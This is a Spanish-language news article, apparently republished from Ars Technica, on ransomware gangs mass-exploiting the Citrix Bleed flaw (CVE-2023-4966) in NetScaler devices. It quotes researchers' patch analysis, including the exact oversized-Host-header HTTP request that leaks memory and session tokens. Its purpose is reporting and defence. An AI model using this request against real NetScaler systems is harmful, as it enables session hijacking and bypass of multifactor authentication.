\n<\/aside>\n<\/p>\n
Una vulnerabilidad que permite a los atacantes eludir la autenticaci\u00f3n multifactor y acceder a redes empresariales utilizando hardware vendido por Citrix est\u00e1 siendo explotada masivamente por piratas inform\u00e1ticos de ransomware a pesar de que hay un parche disponible desde hace tres semanas.<\/p>\n
Citrix Bleed, el nombre com\u00fan de la vulnerabilidad, tiene una clasificaci\u00f3n de gravedad de 9,4 sobre 10 posibles, una designaci\u00f3n relativamente alta para un simple error de divulgaci\u00f3n de informaci\u00f3n. El motivo: la informaci\u00f3n divulgada puede incluir tokens de sesi\u00f3n, que el hardware asigna a dispositivos que ya han proporcionado credenciales con \u00e9xito, incluidos aquellos que proporcionan MFA. La vulnerabilidad, rastreada como CVE-2023-4966 y que reside en NetScaler Application Delivery Controller y NetScaler Gateway de Citrix, ha estado bajo explotaci\u00f3n activa desde agosto. Citrix emiti\u00f3 un parche el 10 de octubre.<\/p>\n
Repito: esto no es un simulacro.<\/h2>\n Los ataques han aumentado recientemente, lo que llev\u00f3 al investigador de seguridad Kevin Beaumont a declarar el s\u00e1bado: \u00abEsta vulnerabilidad est\u00e1 ahora bajo explotaci\u00f3n masiva\u00bb. Continu\u00f3 diciendo: \u201cAl hablar con m\u00faltiples organizaciones, est\u00e1n viendo una explotaci\u00f3n generalizada\u201d.<\/p>\n
Dijo que hasta el s\u00e1bado hab\u00eda encontrado aproximadamente 20.000 casos de dispositivos Citrix explotados en los que se hab\u00edan robado tokens de sesi\u00f3n. Dijo que su estimaci\u00f3n se bas\u00f3 en la ejecuci\u00f3n de un conjunto de servidores que se hacen pasar por dispositivos Netscaler vulnerables para rastrear ataques oportunistas en Internet. Luego, Beaumont compar\u00f3 esos resultados con otros datos, incluidos algunos proporcionados por Netflow y el motor de b\u00fasqueda Shodan.<\/p>\n
Mientras tanto, GreyNoise, una empresa de seguridad que tambi\u00e9n implementa honeypots, mostraba exploits para CVE-2023-4966 provenientes de 135 direcciones IP cuando esta publicaci\u00f3n se public\u00f3 en Ars. Eso es un aumento de 27 veces con respecto a las cinco IP detectadas que GreyNoise vio hace cinco d\u00edas.<\/p>\n\n Anuncio <\/span> <\/p>\n<\/aside>\nLas cifras m\u00e1s recientes disponibles de la organizaci\u00f3n de seguridad Shadowserver mostraron que hab\u00eda aproximadamente 5.500 dispositivos sin parches. Beaumont ha reconocido que la estimaci\u00f3n contradice su estimaci\u00f3n de 20.000 dispositivos comprometidos. No est\u00e1 claro de inmediato qu\u00e9 estaba causando la discrepancia.<\/p>\n
La vulnerabilidad es relativamente f\u00e1cil de explotar para personas experimentadas. Una simple ingenier\u00eda inversa del parche lanzado por Citrix muestra las funciones que son vulnerables y, a partir de ah\u00ed, no es dif\u00edcil escribir c\u00f3digo que las explote. Para facilitar a\u00fan m\u00e1s los ataques, hay disponibles en l\u00ednea un pu\u00f1ado de exploits de prueba de concepto.<\/p>\n
En un an\u00e1lisis t\u00e9cnico detallado, los investigadores de Assetnote escribieron:<\/p>\n
\nEncontramos dos funciones que destacaron ns_aaa_oauth_send_openid_config<\/code> y ns_aaa_oauthrp_send_openid_config<\/code>. Ambas funciones realizan una operaci\u00f3n similar, implementan el punto final OpenID Connect Discovery. Se puede acceder a las funciones sin autenticaci\u00f3n a trav\u00e9s del \/oauth\/idp\/.well-known\/openid-configuration<\/code> y \/oauth\/rp\/.well-known\/openid-configuration<\/code> puntos finales respectivamente.<\/p>\nAmbas funciones tambi\u00e9n incluyeron el mismo parche, una verificaci\u00f3n de l\u00edmites adicional antes de enviar la respuesta. Esto se puede ver en los fragmentos a continuaci\u00f3n que muestran el antes y el despu\u00e9s de ns_aaa_oauth_send_openid_config<\/code>.<\/p>\nOriginal<\/strong><\/p>\n\n
iVar3 = snprintf(print_temp_rule,0x20000,
\n \t\"\"issuer\": \"https:\/\/%.*s\", \"authorization_endpoint\": \"https:\/\/%.*s\/oauth\/ idp\/login\", \"token_endpoint\": \"https:\/\/%.*s\/oauth\/idp\/token\", \"jwks_uri\": \"https:\/\/%.*s\/oauth\/idp\/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https:\/\/%.*s\/oauth\/idp\/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https:\/\/%.*s\/oauth\/idp\/userinfo\", \"subject_types_supported\": [\"public\"]\"
\n \t,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
\nauthv2_json_resp = 1;
\niVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
\n<\/code><\/pre>\n<\/div>\nParcheado<\/strong><\/p>\n\n
uVar7 = snprintf(print_temp_rule,0x20000,
\n \t\"\"issuer\": \"https:\/\/%.*s\", \"authorization_endpoint\": \"https:\/\/%.*s\/oauth\/ idp\/login\", \"token_endpoint\": \"https:\/\/%.*s\/oauth\/idp\/token\", \"jwks_uri\": \"https:\/\/%.*s\/oauth\/idp\/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https:\/\/%.*s\/oauth\/idp\/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https:\/\/%.*s\/oauth\/idp\/userinfo\", \"subject_types_supported\": [\"public\"]\"
\n \t,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
\nuVar4 = 0x20;
\nif (uVar7 < 0x20000)
\n\tauthv2_json_resp = 1;
\n\tiVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
\n\t...
\n
\n<\/code><\/pre>\n<\/div>\nLa funci\u00f3n es bastante simple, genera una carga \u00fatil JSON para la configuraci\u00f3n de OpenID y usa snprintf<\/code> para insertar el nombre de host del dispositivo en las ubicaciones apropiadas de la carga \u00fatil. En la versi\u00f3n original, la respuesta se env\u00eda inmediatamente. En la versi\u00f3n parcheada, la respuesta solo se env\u00eda si snprintf<\/code> devuelve un valor menor que 0x20000<\/code>.<\/p>\nLa vulnerabilidad se produce porque el valor de retorno de snprintf<\/code> se utiliza para determinar cu\u00e1ntos bytes se env\u00edan al cliente por ns_vpn_send_response<\/code>. Esto es un problema porque snprintf<\/code> no devuelve cu\u00e1ntos bytes hizo<\/strong> escribir en el buffer, snprintf<\/code> devuelve cu\u00e1ntos bytes tendr\u00eda<\/strong> escrito en el b\u00fafer si el b\u00fafer era lo suficientemente grande.<\/p>\nPara explotar esto, todo lo que ten\u00edamos que hacer era descubrir c\u00f3mo hacer que la respuesta excediera el tama\u00f1o del b\u00fafer de 0x20000<\/code> bytes. La aplicaci\u00f3n entonces responder\u00eda con el b\u00fafer completamente lleno, m\u00e1s cualquier memoria que siguiera inmediatamente al print_temp_rule<\/code> buffer.<\/p>\n\u200dExplotaci\u00f3n del punto final<\/h3>\n Inicialmente pensamos que el punto final probablemente no ser\u00eda explotable. Los \u00fanicos datos que se insertaron fueron el nombre de host, que es algo que necesitaba acceso de administrador para configurar. Por suerte para nosotros, nos equivocamos y el valor insertado en la carga \u00fatil no provino del nombre de host configurado. En realidad vino del HTTP Host<\/code> encabezamiento.<\/p>\nTambi\u00e9n tuvimos suerte de que NetScaler inserte el nombre de host en la carga \u00fatil seis veces, ya que esto significaba que pod\u00edamos alcanzar el l\u00edmite del b\u00fafer de 0x20000<\/code> bytes sin tener problemas porque el Host<\/code> El encabezado o toda la solicitud era demasiado larga.<\/p>\nArmamos la siguiente solicitud y la enviamos a nuestra instancia de NetScaler.<\/p>\n
\n
GET \/oauth\/idp\/.well-known\/openid-configuration HTTP\/1.1
\nHost: a <repeated 24812 times>
\nConnection: close
\n<\/code><\/pre>\n<\/div>\nRecibimos la respuesta que se muestra a continuaci\u00f3n con los caracteres no imprimibles eliminados.<\/p>\n
\n
HTTP\/1.1 200 OK
\nX-Content-Type-Options: nosniff
\nX-XSS-Protection: 1; mode=block
\nContent-Length: 147441
\nCache-control: no-cache, no-store, must-revalidate
\nPragma: no-cache
\nContent-Type: application\/json; charset=utf-8
\nX-Citrix-Application: Receiver for Web
\n
\n{\"issuer\": \"https:\/\/aaaaa ...<omitted>... aaaaaaaaaaaaaaaa\u00ed\u00a7\u00a1
\n\u00f0
\n\u00ed\u00a7\u00a1-\u00aa\u00bct\u00d9\u00cc\u00e5Dx013.1.48.47\u00e0
\nd98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP\/1.1 200 OK
\nContent-Length: @@@@@
\nEncode:@@@
\nCache-control: no-cache
\nPragma: no-cache
\nContent-Type: text\/html
\nSet-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=\/
\n
\n\"categories\":[],\"resources\":[],\"subscriptionsEnabled\":false,\"username\":null
\n\u00f0
\n\u00e5
\n\u00e5
\nP\u00cf\u00cf
\nH\u00a1
\n\u00e9\u00d2\u00cf
\neG\u00c1\"RDEFAULT
\n\u00f2 #pack200-gzip
\ncompressdeflategzip
\ndentity
\n\u00fe\u00ff\u00ff\u00ff\u00ff\u00ff
\n\u00a9VPN_GLOBAL\u00ff\u00ff\u00ff\u00ff\u00ff\u00ff \u00e8\"AAA_PARAM\u00ed
\n<\/code><\/pre>\n<\/div>\nPudimos ver claramente una gran cantidad de memoria perdida inmediatamente despu\u00e9s de la carga \u00fatil JSON. Si bien muchos de ellos eran bytes nulos, hab\u00eda informaci\u00f3n sospechosa en la respuesta.<\/p>\n<\/blockquote>\n\n Anuncio <\/span> <\/p>\n<\/aside>\n El nombre Citrix Bleed es una alusi\u00f3n a Heartbleed, una vulnerabilidad de divulgaci\u00f3n de informaci\u00f3n cr\u00edtica diferente que puso patas arriba a Internet en 2014. Esa vulnerabilidad, que resid\u00eda en la biblioteca de c\u00f3digos OpenSSL, fue objeto de explotaci\u00f3n masiva y permiti\u00f3 el robo de contrase\u00f1as y claves de cifrado. , credenciales bancarias y todo tipo de informaci\u00f3n confidencial. Citrix Bleed no es tan grave porque hay menos dispositivos vulnerables en uso.<\/p>\n
Pero Citrix Bleed sigue siendo bastante malo. Las organizaciones deben considerar que todos los dispositivos Netscaler se han visto comprometidos. Esto significa parchear los dispositivos restantes sin parchear. Luego, se deben rotar todas las credenciales para garantizar que se invaliden los tokens de sesi\u00f3n que puedan haberse filtrado. Por \u00faltimo, las organizaciones deben inspeccionar sus dispositivos e infraestructura en busca de signos de compromiso. La firma de seguridad Mandiant tiene orientaci\u00f3n detallada sobre seguridad aqu\u00ed.<\/p>\n<\/p><\/div>\n
\nSource link-49<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"im\u00e1genes falsas Una vulnerabilidad que permite a los atacantes eludir la autenticaci\u00f3n multifactor y acceder a redes empresariales utilizando hardware vendido por Citrix est\u00e1 siendo explotada masivamente por piratas inform\u00e1ticos…<\/p>\n","protected":false},"author":1,"featured_media":821759,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21980],"tags":[6,2668,107478,61177,133,148,19860,6979,411,65718,49113,31323],"_links":{"self":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/865267"}],"collection":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/comments?post=865267"}],"version-history":[{"count":1,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/865267\/revisions"}],"predecessor-version":[{"id":865268,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/865267\/revisions\/865268"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/media\/821759"}],"wp:attachment":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/media?parent=865267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/categories?post=865267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/tags?post=865267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}